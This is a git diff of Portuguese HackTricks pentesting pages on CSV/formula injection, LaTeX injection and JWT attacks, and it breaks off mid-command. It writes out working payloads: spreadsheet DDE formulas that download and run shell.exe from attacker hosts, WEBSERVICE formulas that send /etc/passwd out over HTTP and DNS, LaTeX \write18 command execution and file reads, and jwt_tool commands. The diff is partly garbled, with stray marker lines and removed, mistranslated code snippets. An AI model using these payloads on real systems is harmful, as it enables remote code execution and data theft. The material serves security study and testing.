* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rápido. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
|
@ -24,13 +26,13 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
|
|||
|
||||
### Informações
|
||||
|
||||
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de colocar **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
|
||||
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas** do Excel que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Atualmente, o **Excel irá alertar** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado à carga útil final.
|
||||
Atualmente, o **Excel alertará** (várias vezes) o **usuário quando algo for carregado de fora do Excel** para preveni-lo de ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
|
||||
{% endhint %}
|
||||
|
||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||
### [Lista de Palavras](https://github.com/payloadbox/csv-injection-payloads)
|
||||
```
|
||||
DDE ("cmd";"/C calc";"!A0")A0
|
||||
@SUM(1+9)*cmd|' /C calc'!A0
|
||||
|
|
@ -39,40 +41,42 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
||||
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
||||
```
|
||||
### Hiperlink
|
||||
### Hyperlink
|
||||
|
||||
**O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha final do Excel e realizar solicitações para locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos de alerta).**
|
||||
**O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha final do Excel e realizar solicitações para locais arbitrários. No entanto, requer que o usuário clique no link (e aceite os avisos de segurança).**
|
||||
|
||||
Exemplo retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Vamos supor um cenário de ataque ao sistema de Gerenciamento de Registros de Alunos de uma escola. O aplicativo permite que o professor insira os detalhes dos alunos na escola. O atacante obtém acesso ao aplicativo e deseja comprometer todos os professores que usam o aplicativo. Portanto, o atacante tenta realizar um ataque de injeção de CSV por meio do aplicativo da web.\
|
||||
O atacante precisa roubar os detalhes de outros alunos. Portanto, o atacante usa a fórmula de Hiperlink e a insere ao inserir os detalhes do aluno.
|
||||
Vamos assumir um cenário de ataque no sistema de Gerenciamento de Registros de Estudantes de uma escola. O aplicativo permite que o professor insira detalhes dos alunos na escola. O atacante obtém acesso ao aplicativo e quer que todos os professores que usam o aplicativo sejam comprometidos. Então, o atacante tenta realizar um ataque de injeção de CSV por meio do aplicativo web.
|
||||
O atacante precisa roubar detalhes de outros alunos. Então, ele usa a fórmula Hyperlink e a insere ao digitar os detalhes do aluno.
|
||||
|
||||
|
||||
|
||||
Quando o professor exporta o CSV e clica no hiperlink, os dados sensíveis são enviados para o servidor do atacante.
|
||||
Quando o professor exporta o CSV e clica no hyperlink, os dados sensíveis são enviados para o servidor do atacante.
|
||||
|
||||
|
||||
|
||||
O arquivo CSV exportado contém uma carga maliciosa nele.
|
||||
O arquivo CSV exportado contém um payload malicioso.
|
||||
|
||||
|
||||
|
||||
Os detalhes do aluno são registrados no servidor da web do atacante.
|
||||
Os detalhes do aluno são registrados no servidor web do atacante.
|
||||
|
||||
|
||||
|
||||
### RCE
|
||||
|
||||
Para que este exemplo funcione, é **necessário ter habilitada a seguinte configuração**:\
|
||||
Arquivo → Opções → Centro de Confiança → Configurações do Centro de Confiança → Conteúdo Externo → Habilitar Inicialização do Servidor de Troca Dinâmica de Dados\
|
||||
Para que este exemplo funcione, é **necessário habilitar a seguinte configuração**:\
|
||||
Arquivo → Opções → Central de Confiabilidade → Configurações da Central de Confiabilidade → Conteúdo Externo → Habilitar Inicialização do Servidor de Troca Dinâmica de Dados\
|
||||
ou o uso de uma **versão antiga do Excel**.
|
||||
|
||||
A boa notícia é que **essa carga é executada automaticamente quando o arquivo é aberto** (se o usuário aceitar os avisos).
|
||||
A boa notícia é que **este payload é executado automaticamente quando o arquivo é aberto** (se o usuário aceitar os avisos).
|
||||
|
||||
É possível executar uma calculadora com a seguinte carga **`=cmd|' /C calc'!xxx`**
|
||||
É possível executar uma calculadora com o seguinte payload **`=cmd|' /C calc'!xxx`**
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
|
||||
|
||||
### Mais
|
||||
```bash
|
||||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||||
```
|
||||
|
|
@ -80,23 +84,23 @@ A boa notícia é que **essa carga é executada automaticamente quando o arquivo
|
|||
|
||||
**LibreOffice Calc**
|
||||
|
||||
* Isso irá ler a primeira linha do arquivo local /etc/passwd: `='file:///etc/passwd'#$passwd.A1`
|
||||
* Exfiltrar isso: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* Exfiltrar mais de uma linha: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* Isto lerá a 1ª linha do arquivo local /etc/passwd: `='file:///etc/passwd'#$passwd.A1`
|
||||
* Ex-filtrar: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* Ex-filtrar mais de uma linha: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* Exfiltração DNS: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
|
||||
|
||||
**Analisando a carga útil de exfiltração DNS:**
|
||||
**Analisando o payload de exfiltração DNS:**
|
||||
|
||||
* ‘file:///etc/passwd’#$passwd.A19 - Irá ler a 19ª linha do arquivo local /etc/passwd
|
||||
* ENCODEURL('file:///etc/passwd'#$passwd.A19) - Codifica a URL dos dados retornados
|
||||
* MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41) - Similar a substring, lê dados do 1º caractere ao 41º - uma maneira muito útil de restringir o comprimento dos nomes de host DNS (limite de 254 caracteres para FQDN e 63 caracteres para um rótulo, ou seja, subdomínio)
|
||||
* SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-") - substitui todas as ocorrências de % (o caractere especial da codificação de URL) por traço - isso garante que apenas caracteres DNS válidos sejam usados
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".\<FQDN>") - Concatena a saída do arquivo (após o processamento acima) com o FQDN (para o qual temos acesso ao host que é autoritativo para o domínio)
|
||||
* WEBSERVICE - Faz uma solicitação para esse nome DNS inexistente, que podemos então analisar os logs (ou executar tcpdump etc.) no servidor de nomes autoritativo DNS, no qual temos controle
|
||||
* ‘file:///etc/passwd’#$passwd.A19 – Lerá a 19ª linha do arquivo local /etc/passwd
|
||||
* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – Codifica a URL dos dados retornados
|
||||
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Semelhante a substring, lê dados do 1º ao 41º caractere – uma maneira muito útil de restringir o comprimento dos hostnames DNS (limite de 254 caracteres em FQDN e 63 caracteres para um rótulo, ou seja, subdomínio)
|
||||
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – substitui todas as instâncias de % (o caractere especial da codificação de URL) por traço – isso garante que apenas caracteres DNS válidos sejam usados
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) – Concatena a saída do arquivo (após o processamento acima) com o FQDN (para o qual temos acesso ao host que é autoritativo para o domínio)
|
||||
* WEBSERVICE – Fará uma solicitação para este nome DNS inexistente que podemos então analisar os logs (ou executar tcpdump etc.) no servidor de nome DNS autoritativo para o qual temos controle
|
||||
|
||||
### Google Sheets OOB Data Exfiltration
|
||||
### Exfiltração de Dados OOB no Google Sheets
|
||||
|
||||
Primeiramente, vamos apresentar algumas das funções mais interessantes.
|
||||
Primeiramente, vamos introduzir algumas das funções mais interessantes.
|
||||
|
||||
**CONCATENATE**: Anexa strings uma à outra.
|
||||
```
|
||||
|
|
@ -118,24 +122,24 @@ Primeiramente, vamos apresentar algumas das funções mais interessantes.
|
|||
```
|
||||
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
|
||||
```
|
||||
**IMAGEM**: Insere uma imagem em uma célula.
|
||||
**IMAGE**: Insere uma imagem em uma célula.
|
||||
```
|
||||
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
|
||||
```
|
||||
## Injeção de LaTeX
|
||||
## Injeção LaTeX
|
||||
|
||||
Normalmente, os servidores que encontramos na internet que **convertem código LaTeX em PDF** usam o **`pdflatex`**.\
|
||||
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
|
||||
Geralmente, os servidores que você encontrará na internet que **convertem código LaTeX em PDF** usam **`pdflatex`**.\
|
||||
Este programa utiliza 3 principais atributos para (des)permitir a execução de comandos:
|
||||
|
||||
* **`--no-shell-escape`**: **Desabilita** a construção `\write18{command}`, mesmo que esteja habilitada no arquivo texmf.cnf.
|
||||
* **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de \*\*comandos predefinidos (\*\*No Ubuntu 16.04, a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Habilita** a construção `\write18{command}`. O comando pode ser qualquer comando de shell. Essa construção é normalmente desabilitada por motivos de segurança.
|
||||
* **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Habilita** a construção `\write18{command}`. O comando pode ser qualquer comando do shell. Esta construção normalmente é proibida por razões de segurança.
|
||||
|
||||
No entanto, existem outras maneiras de executar comandos, então, para evitar RCE, é muito importante usar `--shell-restricted`.
|
||||
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar `--shell-restricted`.
|
||||
|
||||
### Ler arquivo <a href="#read-file" id="read-file"></a>
|
||||
|
||||
Você pode precisar ajustar a injeção com envoltórios como \[ ou $.
|
||||
Você pode precisar ajustar a injeção com invólucros como \[ ou $.
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
|
@ -143,19 +147,7 @@ Você pode precisar ajustar a injeção com envoltórios como \[ ou $.
|
|||
\usepackage{verbatim}
|
||||
\verbatiminput{/etc/passwd}
|
||||
```
|
||||
#### Ler arquivo de uma única linha
|
||||
|
||||
To read a single-lined file, you can use the following command:
|
||||
|
||||
Para ler um arquivo de uma única linha, você pode usar o seguinte comando:
|
||||
|
||||
```bash
|
||||
cat file.txt
|
||||
```
|
||||
|
||||
This command will display the contents of the file on the terminal.
|
||||
|
||||
Esse comando exibirá o conteúdo do arquivo no terminal.
|
||||
#### Ler arquivo de linha única
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/issue
|
||||
|
|
@ -163,18 +155,7 @@ Esse comando exibirá o conteúdo do arquivo no terminal.
|
|||
\text{\line}
|
||||
\closein\file
|
||||
```
|
||||
#### Ler arquivo com várias linhas
|
||||
|
||||
To read a file with multiple lines, you can use the following code:
|
||||
|
||||
```python
|
||||
with open('filename.txt', 'r') as file:
|
||||
lines = file.readlines()
|
||||
for line in lines:
|
||||
print(line.strip())
|
||||
```
|
||||
|
||||
This code opens the file `filename.txt` in read mode (`'r'`) and uses the `readlines()` method to read all the lines in the file. It then iterates over each line and prints it after removing any leading or trailing whitespace using the `strip()` method.
|
||||
#### Ler arquivo de múltiplas linhas
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/passwd
|
||||
|
|
@ -184,14 +165,14 @@ This code opens the file `filename.txt` in read mode (`'r'`) and uses the `readl
|
|||
\repeat
|
||||
\closein\file
|
||||
```
|
||||
### Escrever arquivo <a href="#escrever-arquivo" id="escrever-arquivo"></a>
|
||||
### Escrever arquivo <a href="#write-file" id="write-file"></a>
|
||||
```bash
|
||||
\newwrite\outfile
|
||||
\openout\outfile=cmd.tex
|
||||
\write\outfile{Hello-world}
|
||||
\closeout\outfile
|
||||
```
|
||||
### Execução de comandos <a href="#execução-de-comandos" id="execução-de-comandos"></a>
|
||||
### Execução de comando <a href="#command-execution" id="command-execution"></a>
|
||||
|
||||
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-la.
|
||||
```bash
|
||||
|
|
@ -216,7 +197,7 @@ A entrada do comando será redirecionada para stdin, use um arquivo temporário
|
|||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
Se você receber algum erro do LaTex, considere usar base64 para obter o resultado sem caracteres inválidos.
|
||||
Se você receber algum erro de LaTex, considere usar base64 para obter o resultado sem caracteres ruins.
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
|
|
@ -233,9 +214,9 @@ De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
\url{javascript:alert(1)}
|
||||
\href{javascript:alert(1)}{placeholder}
|
||||
```
|
||||
## Injeção de Ghostscript
|
||||
## Injeção Ghostscript
|
||||
|
||||
TODO: Crie um resumo com as informações e técnicas mais relevantes de [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
TODO: Criar um resumo com as informações e técnicas mais relevantes de [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
|
||||
## Referências
|
||||
|
||||
|
|
@ -246,18 +227,20 @@ TODO: Crie um resumo com as informações e técnicas mais relevantes de [https:
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rápido. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,64 +1,66 @@
|
|||
# Vulnerabilidades do JWT (Json Web Tokens)
|
||||
# Vulnerabilidades JWT (Json Web Tokens)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
 (3).png>)
|
||||
|
||||
**Dica de bug bounty**: **cadastre-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**!
|
||||
**Dica para bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
**Parte deste post foi retirada de:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Autor da ótima ferramenta para pentest de JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**Autor da excelente ferramenta para pentest de JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Ganhos Rápidos**
|
||||
### **Vitórias Rápidas**
|
||||
|
||||
Execute o [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) com o modo `All Tests!` e aguarde as linhas verdes.
|
||||
Execute [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) com o modo `All Tests!` e aguarde pelas linhas verdes
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
Se você tiver sorte, a ferramenta encontrará algum caso em que a aplicação web esteja verificando incorretamente o JWT:
|
||||
Se você tiver sorte, a ferramenta encontrará algum caso em que a aplicação web está verificando incorretamente o JWT:
|
||||
|
||||
.png>)
|
||||
|
||||
Em seguida, você pode procurar a solicitação em seu proxy ou extrair o JWT usado para essa solicitação usando a ferramenta jwt\_tool:
|
||||
Então, você pode procurar a requisição no seu proxy ou despejar o JWT usado para essa requisição usando jwt_tool:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
### Manipular dados sem modificar nada
|
||||
### Alterar dados sem modificar nada
|
||||
|
||||
Você pode simplesmente manipular os dados deixando a assinatura como está e verificar se o servidor está verificando a assinatura. Tente alterar seu nome de usuário para "admin", por exemplo.
|
||||
Você pode simplesmente alterar os dados deixando a assinatura como está e verificar se o servidor está verificando a assinatura. Tente mudar seu nome de usuário para "admin", por exemplo.
|
||||
|
||||
#### **A token é verificada?**
|
||||
#### **O token está sendo verificado?**
|
||||
|
||||
- Se ocorrer uma mensagem de erro, a assinatura está sendo verificada - leia qualquer informação de erro detalhada que possa vazar algo sensível.
|
||||
- Se a página retornada for diferente, a assinatura está sendo verificada.
|
||||
- Se a página for a mesma, então a assinatura não está sendo verificada - é hora de começar a manipular as reivindicações do Payload para ver o que você pode fazer!
|
||||
* Se ocorrer uma mensagem de erro, a assinatura está sendo verificada - leia qualquer informação de erro detalhada que possa revelar algo sensível.
|
||||
* Se a página retornada for diferente, a assinatura está sendo verificada.
|
||||
* Se a página for a mesma, então a assinatura não está sendo verificada - hora de começar a alterar as reivindicações do Payload para ver o que você pode fazer!
|
||||
|
||||
### Origem
|
||||
|
||||
Verifique de onde o token se originou no histórico de solicitações do seu proxy. Ele deve ser criado no servidor, não no cliente.
|
||||
|
||||
- Se ele foi visto pela primeira vez vindo do lado do cliente, então a **chave** é acessível ao código do lado do cliente - procure por ela!
|
||||
- Se ele foi visto pela primeira vez vindo do servidor, então está tudo bem.
|
||||
* Se foi visto pela primeira vez vindo do lado do cliente, então a **chave** é acessível ao código do lado do cliente - procure-a!
|
||||
* Se foi visto pela primeira vez vindo do servidor, então está tudo bem.
|
||||
|
||||
### Duração
|
||||
|
||||
Verifique se o token dura mais de 24 horas... talvez ele nunca expire. Se houver um campo "exp", verifique se o servidor está tratando-o corretamente.
|
||||
Verifique se o token dura mais de 24h... talvez ele nunca expire. Se houver um campo "exp", verifique se o servidor está lidando corretamente com ele.
|
||||
|
||||
### Força bruta no segredo HMAC
|
||||
### Força bruta na chave secreta HMAC
|
||||
|
||||
[**Veja esta página.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
|
|
@ -66,90 +68,90 @@ Verifique se o token dura mais de 24 horas... talvez ele nunca expire. Se houver
|
|||
|
||||
Defina o algoritmo usado como "None" e remova a parte da assinatura.
|
||||
|
||||
Use a extensão do Burp chamada "JSON Web Token" para tentar essa vulnerabilidade e alterar diferentes valores dentro do JWT (envie a solicitação para o Repeater e na guia "JSON Web Token" você pode modificar os valores do token. Você também pode selecionar para colocar o valor do campo "Alg" como "None").
|
||||
Use a extensão do Burp chamada "JSON Web Token" para tentar essa vulnerabilidade e para alterar diferentes valores dentro do JWT (envie a solicitação para o Repeater e na aba "JSON Web Token" você pode modificar os valores do token. Você também pode selecionar para colocar o valor do campo "Alg" para "None").
|
||||
|
||||
### Alterar o algoritmo RS256 (assimétrico) para HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)
|
||||
### Mudar o algoritmo RS256(assimétrico) para HS256(simétrico) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
O algoritmo HS256 usa a chave secreta para assinar e verificar cada mensagem.\
|
||||
O algoritmo RS256 usa a chave privada para assinar a mensagem e usa a chave pública para autenticação.
|
||||
|
||||
Se você alterar o algoritmo de RS256 para HS256, o código do backend usará a chave pública como chave secreta e, em seguida, usará o algoritmo HS256 para verificar a assinatura.
|
||||
Se você mudar o algoritmo de RS256 para HS256, o código do back end usa a chave pública como a chave secreta e então usa o algoritmo HS256 para verificar a assinatura.
|
||||
|
||||
Em seguida, usando a chave pública e alterando RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor da web executando isso:
|
||||
Então, usando a chave pública e mudando RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor web executando isto:
|
||||
```bash
|
||||
